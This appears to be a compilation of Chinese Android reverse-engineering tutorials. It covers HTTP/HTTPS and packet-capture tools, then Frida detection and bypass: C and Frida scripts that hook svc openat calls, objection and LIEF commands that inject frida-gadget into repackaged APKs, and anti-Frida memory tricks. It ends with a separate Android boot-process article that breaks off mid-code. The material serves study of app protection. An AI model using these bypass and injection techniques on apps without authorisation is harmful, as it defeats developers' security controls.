在计算机网络通信中,协议(Protocol)是一种规范或一组规则,用于指导网络中不同系统之间数据的交换和通信(约定俗称的一种规则)。协议定义了数据如何在网络上传输、格式化、打包、寻址、路由、安全处理以及错误检测和纠正等方面的具体规则。它确保了来自不同制造商的设备和运行不同操作系统的计算机能够相互通信。
一文讲透TCP/IP协议 | 图解+秒懂+史上最全
网络协议可以分层,每层都有特定的任务和责任,最著名的分层模型是OSI七层模型和TCP/IP四层模型。常见的网络协议包括:
PS:课下有时间要去深入学习一下OSI的七层模型,TCP的三次握手以及四次挥手,另外再推荐本书《图解HTTP》
\\nWeb 由很多资源组成,比如 HTML 页面、视频、图片,在互联网上每个资源都有一个编号,这个编号就是 URL 地址。服务器负责定义 URL,世界上任何一个资源的编号是
唯一的,客户端通过 URL 地址在互联网中找到该资源,URL 的官方名称叫作统一资源标识符(Uniform Resource Locator)。
URL 的规则定义如下:
https://www.52pojie.cn/forum.php
https 表示资源需要通过 HTTPS 这个协议才能够获取,换句话说,客户端需要通过 HTTPS这个协议请求这个资源。
www.52pojie.cn 表示服务器地址,在互联网中每个服务器都有一个 IP 地址,但对于用户来说 IP 地址很难记住,用户一般只会记住服务器主机(比如www.52pojie.cn)名称。
在 HTTPS 中,客户端发送 HTTPS 请求的时候,必须通过 DNS 协议将服务器主机名转换为IP 地址,这样客户端才能找到服务器。
443 是 HTTPS 协议的默认端口(可以省略不输入),表示服务器通过 443 端口提供 HTTPS服务。
/forum.php 表示服务器在/根目录下有一个 forum.php 资源。
HTTP和HTTPS协议,看一篇就够了HTTP
是一种应用层协议,用于传输超文本,如HTML文档,以及其他资源,如图像和视频。它是一种无状态的协议,这意味着每个请求都是独立的,服务器不会保存关于客户端的任何信息。HTTP工作在TCP/IP协议栈的应用层,使用TCP端口80进行通信。
● 通信使用明文(不加密),内容可能会被窃听
● 不验证通信方的身份,因此有可能遭遇伪装
● 无法证明报文的完整性,所以有可能已遭篡改HTTPS
是HTTP的安全版本,它通过SSL/TLS(安全套接层/传输层安全)协议对HTTP进行加密。SSL/TLS提供了数据加密、身份验证和数据完整性保护,确保数据在传输过程中的安全。HTTPS使用TCP端口443进行通信。HTTPS 并非是应用层的一种新协议。只是 HTTP 通信接口部分用SSL(Secure Socket Layer)和 TLS(Transport Layer Security)协议代替而已。
1 2 3 | HTTP + 通信加密 + 认证 + 完整性保护 = HTTPS 其中验证身份问题是通过验证服务器的证书来实现的,证书是第三方组织(CA 证书签发机构)使用数字签名技术管理的,包括创建证书、存储证书、更新证书、撤销证书。 |
数字证书是网络安全领域的一个重要组成部分,主要用于身份验证和加密通信。它基于公钥基础设施(Public Key Infrastructure, PKI)的原理,由证书颁发机构(Certificate Authority, CA)签发,用于证明公钥的所有者身份。
应用图标 | \\n工具名称 | \\n类型 | \\n下载链接 | \\n简介 | \\n
---|---|---|---|---|
![]() | \\nCharles | \\n代理抓包工具 | \\nhttps://www.52pojie.cn/thread-1600964-1-1.html | \\nCharles 是一个HTTP代理/HTTP监视器/反向代理,它允许开发人员查看所有的HTTP和SSL/HTTPS流量。 | \\n
![]() | \\nFiddler | \\n代理抓包工具 | \\nhttps://www.alipan.com/s/2W8r2ko7UWz | \\nFiddler 是一个Web调试代理,能够记录和检查从任何浏览器和客户端到服务器的所有HTTP流量。 | \\n
![]() | \\nBurp Suite | \\n代理抓包工具(理论上应该叫渗透必备工具) | \\nhttps://www.52pojie.cn/thread-1544866-1-1.html | \\nBurp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。 | \\n
![]() | \\nReqable | \\n代理抓包工具 | \\nhttps://reqable.com/zh-CN/download | \\nReqable = Fiddler + Charles + Postman<br>Reqable拥有极简的设计、丰富的功能、高效的性能和桌面手机双端平台。<br> | \\n
![]() | \\nProxyPin | \\nVPN抓包工具 | \\nhttps://github.com/wanghongenpin/network_proxy_flutter/releases/tag/V1.1.0 | \\n开源免费抓包工具,支持Windows、Mac、Android、IOS、Linux 全平台系统<br>可以使用它来拦截、检查和重写HTTP(S)流量,ProxyPin基于Flutter开发,UI美观易用。 | \\n
![]() | \\nWireShark | \\n网卡抓包工具 | \\nhttps://www.wireshark.org/download.html | \\nWireshark是非常流行的网络封包分析软件,可以截取各种网络数据包,并显示数据包详细信息。常用于开发测试过程各种问题定位。 | \\n
![]() | \\nr0Capture | \\nHook抓包工具 | \\nhttps://github.com/r0ysue/r0capture | \\n安卓应用层抓包通杀脚本 | \\n
![]() | \\ntcpdump | \\n内核抓包工具 | \\nhttps://github.com/the-tcpdump-group/tcpdump | \\ncpdump 是一个强大的命令行网络数据包分析工具,允许用户截获并分析网络上传输的数据包,支持多种协议,包括但不限于TCP、UDP、ICMP等。tcpdump基于libpcap库,该库提供了从网络接口直接访问原始数据包的能力。 | \\n
![]() | \\neCapture(旁观者) | \\n内核抓包工具 | \\nhttps://github.com/gojue/ecapture/releases | \\n基于eBPF技术实现TLS加密的明文捕获,无需CA证书。 | \\n
![]() | \\nptcpdump | \\n内核抓包工具 | \\nhttps://github.com/mozillazg/ptcpdump | \\n基于 eBPF 的 tcpdump | \\n
选择适合自己的方式安装证书
Reqable使用经典的中间人(MITM)技术分析HTTPS流量,当客户端与Reqable的代理服务器(下文简称中间人
)进行通信时,中间人需要重签远程服务器的SSL证书。为了保证客户端与中间人成功进行SSL握手通信,需要将中间人的根证书(下文简称CA根证书
)安装到客户端本地的证书管理中心。
HTTP请求报文分为3部分:第一部分叫起始行(Request line),第二部分叫首部(Request Header),第三部分叫主体(Body)。
HTTP方法
方法 | \\n描述 | \\n
---|---|
GET | \\n请求指定的页面信息并返回实体主体 | \\n
HEAD | \\n类似于GET请求,只不过返回的响应中没有具体的内容,用于获取报头 | \\n
POST | \\n向指定资源提交数据进行处理请求(例如提交表单或者上传文件),数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或对已有资源的修改 | \\n
PUT | \\n从客户端向服务器传送的数据取代指定文档的内容 | \\n
DELETE | \\n请求服务器删除指定的页面 | \\n
HTTP常见状态码
名 称 | \\n释 义 | \\n
---|---|
200 OK | \\n服务器成功处理了请求。 | \\n
301 Moved Permanently | \\n请求的URL已被永久移动。Response应包含Location URL指向新位置。 | \\n
302 Moved Temporarily | \\n请求的URL被暂时移动。Response应包含Location URL指向临时位置。 | \\n
304 Not Modified | \\n客户端缓存的资源是最新的,无需重新发送,客户端应使用缓存。 | \\n
404 Not Found | \\n请求的资源未在服务器上找到。 | \\n
401 Unauthorized | \\n请求要求用户的身份认证。 | \\n
500 Internal Server Error | \\n服务器遇到了意外的情况,无法完成请求。 | \\n
原始报文及请求头解析
这张图片展示的是一个HTTP请求报文的原始格式,以下是对各个行的解释:
/ZJ2595/wuaijie/raw/master/movie/list1.json
,这意味着请求的目标资源位于gitee.com网站的某个特定目录下,具体来说是在ZJ2595/wuaijie
仓库下的master分支中的movie/list1.json
文件;HTTP/1.1表示使用的HTTP协议版本。Host: gitee.com
是一个HTTP头字段,指明了请求要访问的具体主机名,即gitee.com。Connection: Keep-Alive
表示客户端希望保持持久连接。这意味着一旦TCP连接建立之后,可以重复使用该连接来发送多个HTTP请求,而不需要为每个请求单独建立一个新的连接。Accept-Encoding: gzip
告诉服务器客户端支持的压缩编码类型。在这个例子中,客户端表示它可以接受gzip压缩编码的内容。User-Agent: okhttp/3.12.0
提供了关于发起请求的应用程序的信息。User-Agent头字段通常用于标识发出请求的浏览器或应用程序的类型、版本和其他相关信息。在这里,User-Agent是okhttp/3.12.0,这表示请求是由OkHttp库的一个版本3.12.0发出的。请求头 (Request Headers)
名称 | \\n描述 | \\n
---|---|
Accept | \\n指定客户端能接收的媒体类型。 | \\n
Accept-Charset | \\n指定客户端能接收的字符集。 | \\n
Accept-Encoding | \\n指定客户端能解码的编码方式,如gzip或deflate。 | \\n
Accept-Language | \\n指定客户端首选的语言。 | \\n
Authorization | \\n包含用于访问资源的认证信息。 | \\n
Cache-Control | \\n控制缓存行为,如no-cache或max-age。 | \\n
Connection | \\n控制HTTP连接是否保持活动状态,如keep-alive或close。 | \\n
Content-Length | \\n指明请求体的长度。 | \\n
Content-Type | \\n指明请求体的数据类型,如application/json。 | \\n
Cookie | \\n包含客户端的cookie信息。 | \\n
Date | \\n请求生成的时间。 | \\n
Expect | \\n指定客户端期望服务器执行的操作。 | \\n
From | \\n发送请求的用户邮箱地址。 | \\n
Host | \\n请求的目标服务器的域名和端口号。 | \\n
If-Modified-Since | \\n用于条件性GET,如果资源自指定日期后未被修改则返回304。 | \\n
If-None-Match | \\n用于条件性GET,如果资源的ETag与提供的不匹配则返回资源。 | \\n
Origin | \\n指明请求来源的源站地址,常用于跨域资源共享(CORS)。 | \\n
Pragma | \\n包含与特定代理有关的指令。 | \\n
Referer | \\n指明请求前一个页面的URL,可用于跟踪引用页面。 | \\n
TE | \\n表示客户端能处理的传输编码方式。 | \\n
Trailer | \\n指明报文主体之后的尾部字段。 | \\n
Transfer-Encoding | \\n指明报文主体的传输编码方式,如chunked。 | \\n
Upgrade | \\n指示客户端希望升级到另一种协议。 | \\n
User-Agent | \\n包含客户端软件的名称和版本信息。 | \\n
Via | \\n记录请求经过的中间节点,用于追踪和诊断。 | \\n
Warning | \\n包含非致命问题的警告信息。 | \\n
响应头 (Response Headers)
名称 | \\n描述 | \\n
---|---|
Age | \\n响应对象在代理或缓存中的存储时间。 | \\n
Cache-Control | \\n控制缓存行为,如public、private、no-store、no-cache等。 | \\n
Connection | \\n指示连接是否保持打开,如keep-alive或close。 | \\n
Content-Encoding | \\n指明响应体的编码方式,如gzip或deflate。 | \\n
Content-Length | \\n响应体的长度。 | \\n
Content-Type | \\n响应体的数据类型,如text/html。 | \\n
Date | \\n服务器生成响应的时间。 | \\n
ETag | \\n响应资源的实体标签,用于判断资源是否已被修改。 | \\n
Expires | \\n响应过期时间,之后缓存不应再使用。 | \\n
Last-Modified | \\n资源最后修改的时间。 | \\n
Location | \\n用于重定向,包含资源的新位置。 | \\n
Pragma | \\n与特定代理有关的指令。 | \\n
Proxy-Authenticate | \\n当代理服务器需要认证时使用。 | \\n
Retry-After | \\n在重试之前等待的时间。 | \\n
Server | \\n服务器软件的名称和版本。 | \\n
Set-Cookie | \\n用于设置或更新客户端的cookie。 | \\n
Trailer | \\n指明响应尾部字段。 | \\n
Transfer-Encoding | \\n响应体的传输编码方式,如chunked。 | \\n
Upgrade | \\n用于协议升级。 | \\n
Vary | \\n指明哪些请求头会影响响应的内容,用于缓存控制。 | \\n
WWW-Authenticate | \\n当服务器需要认证时使用。 | \\n
X-Frame-Options | \\n控制页面是否可以在iframe中显示。 | \\n
百度云
阿里云
哔哩哔哩
教程开源地址
PS:解压密码都是52pj,阿里云由于不能分享压缩包,所以下载exe文件,双击自解压
Hook入门与抓包
前端人必须掌握的抓包技能
一种对QUIC协议的抓包方案(拿某知名APP练手)
一文详解 HTTPS 与 TLS证书链校验
1.了解常见frida检测
2.了解frida持久化hook
1.教程Demo(更新)
2.jadx-gui
3.VS Code
在上面的检测对抗中,我们hook了libc.so中的fread、strstr、open等系统函数,但是如果app不讲武德,自实现这些函数,阁下又该如何应对?
在用户空间和内核空间之间,有一个叫做Syscall(系统调用, system call)的中间层,是连接用户态和内核态的桥梁。这样即提高了内核的安全型,也便于移植,只需实现同一套接口即可。Linux系统,用户空间通过向内核空间发出Syscall,产生软中断,从而让程序陷入内核态,执行相应的操作。
SVC(软件中断指令)指令:在ARM架构的系统中,svc
是一条特殊的指令,它允许用户态的程序发起一个系统调用。当这条指令被执行时,CPU会从用户态切换到内核态,从而允许内核处理这个请求。
Linux操作系统是一个巨大的图书馆,而syscall
就是这个图书馆的前台服务窗口。当一个应用程序(比如一个读者)需要借阅书籍(获取系统资源或服务)时,它不能直接进入图书馆的内部书架去拿书,因为那样可能会造成混乱和损坏。所以,读者需要通过前台服务窗口,也就是syscall
,来请求它想要的书籍。
svc
就像是图书馆前台服务窗口的内部电话。当读者通过前台窗口提出请求时,前台工作人员会通过内部电话(svc
)来联系图书馆的内部工作人员,请求他们找到并提供所需的书籍。在Linux系统中,当一个程序通过syscall
请求服务时,实际上是通过svc
这条指令通知内核,然后由内核来处理这些请求。
Frida-Sigaction-Seccomp实现对Android APP系统调用的拦截
分享一个Android通用svc跟踪以及hook方案——Frida-Seccomp
基于seccomp+sigaction的Android通用svc hook方案
[原创]SVC的TraceHook沙箱的实现&无痕Hook实现思路
[原创]Seccomp技术在Android应用中的滥用与防护
[原创]批量检测android app的so中是否有svc调用
首先当我们长按开机键(电源按钮)开机,此时会引导芯片开始从固化到ROM中的预设代码处执行,然后加载引导程序到RAM。然后启动加载的引导程序,引导程序主要做一些基本的检查,包括RAM的检查,初始化硬件的参数。
\\n到达内核层的流程后,这里初始化一些进程管理、内存管理、加载各种Driver等相关操作,如Camera Driver、Binder Driver 等。下一步就是内核线程,如软中断线程、内核守护线程。下面一层就是Native层,这里额外提一点知识,层于层之间是不可以直接通信的,所以需要一种中间状态来通信。Native层和Kernel层之间通信用的是syscall,Native层和Java层之间的通信是JNI。
\\n在Native层会初始化init进程,也就是用户组进程的祖先进程。init中加载配置文件init.rc,init.rc中孵化出ueventd、logd、healthd、installd、lmkd等用户守护进程。开机动画启动等操作。核心的一步是孵化出Zygote进程,此进程是所有APP的父进程,这也是Xposed注入的核心,同时也是Android的第一个Java进程(虚拟机进程)。
\\n进入框架层后,加载zygote init类,注册zygote socket套接字,通过此套接字来做进程通信,并加载虚拟机、类、系统资源等。zygote第一个孵化的进程是system_server进程,负责启动和管理整个Java Framework,包含ActivityManager、PowerManager等服务。
\\n应用层的所有APP都是从zygote孵化而来
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | bool anti_anti_maps() { // 定义一个足够大的字符数组line,用于存储读取的行 const int buf_size = 512; char buf[buf_size]; int fd; // 文件描述符 // 使用 my_openat 打开当前进程的内存映射文件 /proc/self/maps 进行读取 // AT_FDCWD 表示当前工作目录,\\"r\\" 表示只读方式打开 fd = my_openat(AT_FDCWD, \\"/proc/self/maps\\" , O_RDONLY | O_CLOEXEC, 0); if (fd != -1) { // 如果文件成功打开,循环读取每一行 while ((read_line(fd, buf, buf_size)) > 0) { // 使用strstr函数检查当前行是否包含\\"frida\\"字符串 if ( strstr (buf, \\"frida\\" ) || strstr (buf, \\"gadget\\" )) { // 如果找到了\\"frida\\",关闭文件并返回true,表示检测到了恶意库 close(fd); return true ; // Evil library is loaded. } } // 遍历完文件后,关闭文件 close(fd); } else { // 如果无法打开文件,记录错误。这可能意味着系统状态异常 // 注意:这里的代码没有处理错误,只是注释说明了可能的情况 } // 如果没有在内存映射文件中找到\\"frida\\",返回false,表示没有检测到恶意库 return false ; // No evil library detected. } ENTRY(my_openat) // 定义函数入口,标签my_openat mov x8, __NR_openat // 将openat系统调用号(__NR_openat)移动到x8寄存器,x8用于存储系统调用号 svc #0 // 触发系统调用异常,进入操作系统执行系统调用 cmn x0, #(MAX_ERRNO + 1) // 将函数返回值(存储在x0寄存器)与MAX_ERRNO + 1进行无符号比较 cneg x0, x0, hi // 如果上面的比较结果大于或等于零(即没有错误),则将x0的符号位取反(如果原来是负则变正) b.hi __set_errno_internal // 如果上面的比较结果大于或等于零(即发生了错误),则跳转到__set_errno_internal进行错误处理 ret // 从函数返回,继续执行调用者代码 END(my_openat) // 标记函数结束 |
anti脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | function anti_svc(){ let target_code_hex; // 用于搜索特定汇编指令序列的十六进制字符串 let call_number_openat; // 系统调用号对应的数值,openat let arch = Process.arch; // 获取当前进程的架构 if ( \\"arm\\" === arch){ // 如果架构是ARM target_code_hex = \\"00 00 00 EF\\" ; // ARM架构下svc指令的十六进制表示 call_number_openat = 322; // openat在ARM架构中的系统调用号 } else if ( \\"arm64\\" === arch){ // 如果架构是ARM64 target_code_hex = \\"01 00 00 D4\\" ; // ARM64架构下svc指令的十六进制表示 call_number_openat = 56; // openat在ARM64架构中的系统调用号 } else { console.log( \\"arch not support!\\" ); // 如果架构不支持,打印错误信息 } if (arch){ // 如果成功获取了架构信息 console.log( \\"\\\\nthe_arch = \\" + arch); // 打印当前架构 // 枚举进程的内存范围,寻找只读内存段 Process.enumerateRanges( \'r--\' ).forEach( function (range) { if (!range.file || !range.file.path){ // 如果内存段没有文件路径,跳过 return ; } let path = range.file.path; // 获取内存段的文件路径 // 如果文件路径不是以\\"/data/app/\\"开头或不以\\".so\\"结尾,跳过 if ((!path.startsWith( \\"/data/app/\\" )) || (!path.endsWith( \\".so\\" ))){ return ; } let baseAddress = Module.getBaseAddress(path); // 获取so库的基址 let soNameList = path.split( \\"/\\" ); // 通过路径分割获取so库的名称 let soName = soNameList[soNameList.length - 1]; // 获取so库的名称 console.log( \\"\\\\npath = \\" + path + \\" , baseAddress = \\" + baseAddress + \\" , rangeAddress = \\" + range.base + \\" , size = \\" + range.size); // 在so库的内存范围内搜索target_code_hex对应的指令序列 Memory.scan(range.base, range.size, target_code_hex, { onMatch: function (match){ let code_address = match; // 获取匹配到的指令地址 let code_address_str = code_address.toString(); // 转换为字符串 // 如果地址的最低位是0, 4, 8, c中的任意一个,说明可能是svc指令 if (code_address_str.endsWith( \\"0\\" ) || code_address_str.endsWith( \\"4\\" ) || code_address_str.endsWith( \\"8\\" ) || code_address_str.endsWith( \\"c\\" )){ console.log( \\"--------------------------\\" ); let call_number = 0; // 初始化系统调用号 if ( \\"arm\\" === arch){ // 获取svc指令后面的立即数,作为系统调用号 call_number = (code_address.sub(0x4).readS32()) & 0xFFF; } else if ( \\"arm64\\" === arch){ call_number = (code_address.sub(0x4).readS32() >> 5) & 0xFFFF; } else { console.log( \\"the arch get call_number not support!\\" ); // 如果架构不支持,打印错误信息 } console.log( \\"find svc : so_name = \\" + soName + \\" , address = \\" + code_address + \\" , call_number = \\" + call_number + \\" , offset = \\" + code_address.sub(baseAddress)); // 如果匹配到的系统调用号是openat,挂钩该地址 if (call_number_openat === call_number){ let target_hook_addr = code_address; let target_hook_addr_offset = target_hook_addr.sub(baseAddress); console.log( \\"find svc openat , start inlinehook by frida!\\" ); Interceptor.attach(target_hook_addr, { onEnter: function (args){ // 当进入挂钩函数时 console.log( \\"\\\\nonEnter_\\" + target_hook_addr_offset + \\" , __NR_openat , args[1] = \\" + args[1].readCString()); // 修改openat的第一个参数为指定路径 this .new_addr = Memory.allocUtf8String( \\"/data/user/0/com.zj.wuaipojie/maps\\" ); args[1] = this .new_addr; console.log( \\"onEnter_\\" + target_hook_addr_offset + \\" , __NR_openat , args[1] = \\" + args[1].readCString()); }, onLeave: function (retval){ // 当离开挂钩函数时 console.log( \\"onLeave_\\" + target_hook_addr_offset + \\" , __NR_openat , retval = \\" + retval) } }); } } }, onComplete: function () {} // 搜索完成后的回调函数 }); }); } } |
自定义strstr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | bool anti_str_maps() { // 定义一个足够大的字符数组line,用于存储读取的行 char line[512]; // 打开当前进程的内存映射文件/proc/self/maps进行读取 FILE * fp = fopen ( \\"/proc/self/maps\\" , \\"r\\" ); if (fp) { // 如果文件成功打开,循环读取每一行 while ( fgets (line, sizeof (line), fp)) { // 使用自定义strstr函数检查当前行是否包含\\"frida\\"指纹 if (my_strstr(line, \\"frida\\" ) || my_strstr(line, \\"gadget\\" )) { // 如果找到了,关闭文件并返回true,表示检测到了恶意库 fclose (fp); return true ; } } // 遍历完文件后,关闭文件 fclose (fp); } else { // 如果无法打开文件,记录错误。这可能意味着系统状态异常 // 注意:这里的代码没有处理错误,只是注释说明了可能的情况 } // 如果没有在内存映射文件中找到\\"frida\\",返回false,表示没有检测到恶意库 return false ; } //自实现了libc里的几个系统函数 __attribute__((always_inline)) static inline char * my_strstr( const char *s, const char *find) { char c, sc; size_t len; if ((c = *find++) != \'\\\\0\' ) { len = my_strlen(find); do { do { if ((sc = *s++) == \'\\\\0\' ) return (NULL); } while (sc != c); } while (my_strncmp(s, find, len) != 0); s--; } return (( char *)s); } |
Frida的Gadget是一个共享库,用于免root注入hook脚本。
官方文档
思路:将APK解包后,通过修改smali代码或patch so文件的方式植入frida-gadget,然后重新打包安装。
优点:免ROOT、能过掉一部分检测机制
缺点:重打包可能会遇到解决不了的签名校验、hook时机需要把握
1 2 3 4 | objection patchapk - V 14.2 . 18 - c config.txt - s demo.apk(注意路径不要有中文) - V 指定gadget版本 - c 加载脚本配置信息 - s 要注入的apk |
注意的问题:objection patchapk
命令基本上是其他几个系统命令的补充,可尽可能地自动化修补过程。当然,需要先安装并启用这些命令。它们是:
aapt
- 来自:http://elinux.org/Android_aaptadb
- 来自:https://developer.android.com/studio/command-line/adb.htmljarsigner
- 来自:http://docs.oracle.com/javase/7/docs/technotes/tools/windows/jarsigner.htmlapktool
- 来自:https://ibotpeaches.github.io/Apktool/ps:这几个环境工具,aapt、jarsigner都是Android Studio自带的,所以在配置好as的环境即可,abd的环境配置网上搜一下就行,apktool则需要额外配置,我会上传到课件当中
\\n另外会遇到的问题,patchapk的功能在patch的时候会下载对应版本的gadget的so,但是网络问题异常慢,所以建议根据链接去下载好,然后放到这个路径下并重命名
\\n1 | C:\\\\Users\\\\用户名\\\\.objection\\\\android\\\\arm64 - v8a\\\\libfrida - gadget.so |
方法一:
思路:可以patch /data/app/pkgname/lib/arm64(or arm)目录下的so文件,apk安装后会将so文件解压到该目录并在运行时加载,修改该目录下的文件不会触发签名校验。
Patch SO的原理可以参考Android平台感染ELF文件实现模块注入
优点:绕过签名校验、root检测和部分ptrace保护。
缺点:需要root、高版本系统下,当manifest中的android:extractNativeLibs为false时,lib目录文件可能不会被加载,而是直接映射apk中的so文件、可能会有so完整性校验
使用方法
1 2 3 | python LIEFInjectFrida.py test.apk . / lib52pojie.so - apksign - persistence test.apk要注入的apk名称 lib52pojie.so要注入的so名称 |
然后提取patch后是so文件放到对应的so目录下
\\n方法二:
思路:基于magisk模块方案注入frida-gadget,实现加载和hook。寒冰师傅的FridaManager
优点:无需重打包、灵活性较强
缺点:需要过root检测,magsik检测
方法三:
思路:基于jshook封装好的fridainject框架实现hook
JsHook
原理:修改aosp源代码,在fork子进程的时候注入frida-gadget
ubuntu 20.04系统AOSP(Android 11)集成Frida
AOSP Android 10内置FridaGadget实践01
AOSP Android 10内置FridaGadget实践02(完)|
1.检测方法签名信息,frida在hook方法的时候会把java方法转为native方法
2.Frida在attach进程注入SO时会显式地校验ELF_magic字段,不对则直接报错退出进程,可以手动在内存中抹掉SO的magic,达到反调试的效果。
检测点
1 2 | if ( memcmp (GSIZE_TO_POINTER (start), elf_magic, sizeof (elf_magic)) != 0) return FALSE; |
1 2 3 4 5 6 7 | FILE *fp= fopen ( \\"/proc/self/maps\\" , \\"r\\" ); while ( fgets (line, sizeof (line), fp)) { if ( strstr (line, \\"linker64\\" ) ) { start = reinterpret_cast < int *>( strtoul ( strtok (line, \\"-\\" ), NULL, 16)); *( long *)start=*( long *)start^0x7f; } } |
3.Frida源码中多次调用somain结构体,但它在调用前不会判断是否为空,只要手动置空后Frida一附加就会崩溃
检测点
1 2 3 4 | somain = api->solist_get_somain (); gum_init_soinfo_details (&details, somain, api, &ranges); api->solist_get_head () gum_init_soinfo_details (&details, si, api, &ranges); |
1 2 | int getsomainoff = findsym( \\"/system/bin/linker64\\" , \\"__dl__ZL6somain\\" ); *( long *)(( char *)start+getsomainoff)=0; |
4.通常inline hook第一条指令是mov 常数到寄存器,然后第二条是一个br 寄存器指令。检查第二条指令高16位是不是0xd61f,就可以判断目标函数是否被inline hook了!
5.还可以去hook加固壳,现在很多加固厂商都antifrida了,从壳中的代码去分析检测思路
\\n反思
反调试现状 | \\n详细说明 | \\n
---|---|
检测方式多样 | \\n从通用检测、hook检测到源码检测,方式层出不穷。源码检测可以针对每行代码都能开发出不同检测方式,Frida指纹过多。 | \\n
检测位置不确定 | \\n一般是单独开线程跑,也可以在关键函数执行前判断 | \\n
强混淆加大定位难度 | \\n反调试通常埋几行代码,但结合混淆可达万行代码,不考虑效率可膨胀更多,定位极难。 | \\n
PS:解压密码都是52pj,阿里云由于不能分享压缩包,所以下载exe文件,双击自
\\n小菜花的frida-gadget持久化方案汇总
FridaManager:Frida脚本持久化解决方案
Linux系统调用(syscall)原理
小菜花的frida-svc-interceptor
[原创]小日本也有大安全——记一次不寻常的手游反调试,反hook分析与绕过
[原创]非root环境下frida持久化的两种方式及脚本
多种姿势花样使用Frida注入
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n1 2 3 4 5 6 7 8 9 | 源码版本 android - 7.0 . 0_r1 链接:https: / / pan.baidu.com / s / 1yla9fqd4EbxSBSemrYVjsA ?pwd = ukvt 提取码:ukvt - - 来自百度网盘超级会员V3的分享 测试机 pixel3 android10 |
这篇系统启动流程分析借鉴了不少网络上的资源,如下
\\n1 2 3 4 5 6 7 | https: / / blog.csdn.net / qq_43369592 / article / details / 123113889 https: / / juejin.cn / post / 7232947178690412602 #heading-22 https: / / blog.csdn.net / fdsafwagdagadg6576 / article / details / 116333916 https: / / www.cnblogs.com / wanghao - boke / p / 18099022 https: / / juejin.cn / post / 6844903506915098637 #heading-8 《Android进阶解密》 刘望舒 《深入理解Android Java虚拟机ART》邓凡平 |
写这篇文章的目的是在阅读上面师傅的产出并且对照手上的Android7.0版本的时候,有很多代码做了修改。
\\n同时我也是读源码的小白,对于启动流程本来只知道先init再zygote再systemserver再launcher,但是很多时候都不知道哪里的代码进行的过程的推进,也算是对自己知识的精细化。但本篇并没有到特别的深入的层次,例如:AMS启动,SystemServiceManager启动,Launcher获取应用信息的机制,这些没有写,仅仅做了介绍。如果看的师傅感兴趣,我也贴了我觉得写的好的资源,大家可以看看。
\\n可能会有一些造轮子的嫌疑,但毕竟是自己一步步分析的成果,希望能通过这篇自己有些成长。同时也希望和我一样的源码阅读初学者有些助力。
\\n这是在看雪的第一篇博客,很多地方写的有点啰嗦,可能还有不对的地方,希望师傅们不吝赐教。
\\n1 2 3 4 | 提醒: 建议阅读本篇文章的时候先读每一个部分的总结(如 4 , 5 , 6 的总结,有总结的一般是我觉得比较复杂的),有源码阅读经验的师傅应该晓得有些时候我们跟源码的时候可能会忘了为什么跟到这里,所以可以先看总结,以了解写某块分析的目的。 第四部分init当中 4.2 . 1 和 4.2 . 2 可能会有些啰嗦和抽象,可以自己看看源码,会有一些收获。 |
先来一个总览
\\n按下电源之后,引导芯片代码从预定义的地方开始执行(硬件写死的一个位置)开始执行,加载Bootloader到RAM,开始执行。
\\n在Android操作系统开始前的一个程序,主要作用把系统OS给拉起
\\n1 2 | 这一块经常root的朋友应该接触的比较多,我对这个研究比较浅,但是冲浪的时候看到了一个比较有趣比较猛的Bootloader破解的方式 https: / / www. 4hou .com / posts / 5VBq |
之前看权威指南的时候,没有写到这里的这个内核空间的一个进程,但实际上这才是第一个进程,这个进程是在内核空间做初始化的,和启动init进程的。
\\n可以参考一下这个帖子
\\nhttps://blog.csdn.net/marshal_zsx/article/details/80225854
\\n由上init进程是由内核空间启动的,里面有这样一段代码
\\n1 2 3 4 5 | if (!try_to_run_init_process( \\"/sbin/init\\" ) || !try_to_run_init_process( \\"/etc/init\\" ) || !try_to_run_init_process( \\"/bin/init\\" ) || !try_to_run_init_process( \\"/bin/sh\\" )) return 0 ; |
需要关心的就是这里的init,文件在system/bin/init
\\n根据mk文件我们可以看到它是如何编译出来的
\\nD:\\\\android-7.0.0_r1\\\\system\\\\core\\\\init\\\\Android.mk
\\n1 2 3 4 5 6 7 8 9 10 11 | LOCAL_SRC_FILES: = \\\\ bootchart.cpp \\\\ builtins.cpp \\\\ devices.cpp \\\\ init.cpp \\\\ keychords.cpp \\\\ property_service.cpp \\\\ signal_handler.cpp \\\\ ueventd.cpp \\\\ ueventd_parser.cpp \\\\ watchdogd.cpp \\\\ |
可以看到这里的这个init.cpp
\\nmain主要的逻辑不是很长
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 | int main( int argc, char ** argv) { if (! strcmp (basename(argv[0]), \\"ueventd\\" )) { return ueventd_main(argc, argv); } if (! strcmp (basename(argv[0]), \\"watchdogd\\" )) { return watchdogd_main(argc, argv); } // Clear the umask. umask(0); add_environment( \\"PATH\\" , _PATH_DEFPATH); bool is_first_stage = (argc == 1) || ( strcmp (argv[1], \\"--second-stage\\" ) != 0); // Get the basic filesystem setup we need put together in the initramdisk // on / and then we\'ll let the rc file figure out the rest. // 这里是挂载上文件系统 if (is_first_stage) { mount( \\"tmpfs\\" , \\"/dev\\" , \\"tmpfs\\" , 